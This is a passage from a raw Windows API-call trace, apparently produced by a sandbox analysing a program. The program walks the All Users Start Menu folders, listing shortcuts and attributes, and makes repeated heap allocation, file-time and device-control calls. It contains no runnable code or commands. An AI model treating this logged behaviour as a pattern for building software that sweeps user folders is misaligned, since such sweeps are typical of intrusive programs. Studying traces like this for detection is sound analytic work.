cAlternateFileName="")) returned 1 [0091.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.973] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7f78 [0091.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368580 [0091.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.974] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0091.974] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="")) returned 1 [0091.974] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824ddfa0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x824ddfa0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x541, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Center.lnk", cAlternateFileName="")) returned 1 [0091.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7f98 [0091.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368688 [0091.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.976] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="")) returned 1 [0091.976] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bd780, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb09e38e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb09e38e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="")) returned 1 [0091.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7fb8 [0091.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368790 [0091.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.978] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePoint", cAlternateFileName="")) returned 1 [0091.978] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a233bd5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a233bd5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8a233bd5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.lnk", cAlternateFileName="")) returned 1 [0091.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7fd8 [0091.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368898 [0091.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.980] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Startup", cAlternateFileName="")) returned 1 [0091.980] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="")) returned 1 [0091.980] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b186991, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b186991, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8b186991, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x548, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Anytime Upgrade.lnk", cAlternateFileName="")) returned 1 [0091.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7ff8 [0091.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13689a0 [0091.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.982] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82491ce0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x82491ce0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x82491ce0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x52e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows DVD Maker.lnk", cAlternateFileName="")) returned 1 [0091.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8018 [0091.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368aa8 [0091.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.984] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7b6b82, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d7b6b82, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d7dcce2, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Fax and Scan.lnk", cAlternateFileName="")) returned 1 [0091.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8038 [0091.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368bb0 [0091.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.986] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8945dbdb, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8945dbdb, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xd869fe87, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="")) returned 1 [0091.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.987] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPS Viewer.lnk", cAlternateFileName="")) returned 1 [0091.987] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPS Viewer.lnk", cAlternateFileName="")) returned 0 [0091.987] GetLastError () returned 0x12 [0091.987] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0091.987] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.987] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.987] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="")) returned 1 [0091.988] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0091.988] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0091.988] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0091.988] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0091.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.988] NtClose (Handle=0x16c) returned 0x0 [0091.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0091.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbfc0 [0091.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0091.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368fd0 [0091.990] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0091.990] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.991] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility", cAlternateFileName="")) returned 1 [0091.991] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3e9c58, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3e3e9c58, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3e435f19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calculator.lnk", cAlternateFileName="")) returned 1 [0091.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13690d8 [0091.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbfc0) returned 1 [0091.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8098 [0091.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13691e0 [0091.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.994] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec08153b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec08153b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x73e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0091.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f80b8 [0091.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13692e8 [0091.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9c80) returned 0x1386570 [0091.996] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27fbfe08, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x27fbfe08, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28032229, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="displayswitch.lnk", cAlternateFileName="")) returned 1 [0091.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f80d8 [0091.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13693f0 [0091.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.998] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c2bb60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80c2bb60, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="Math Input Panel.lnk", cAlternateFileName="")) returned 1 [0091.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f80f8 [0091.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13694f8 [0092.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.000] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c77e20, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80c77e20, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80c77e20, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mobility Center.lnk", cAlternateFileName="")) returned 1 [0092.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8118 [0092.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1369600 [0092.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.002] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80afb060, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80afb060, 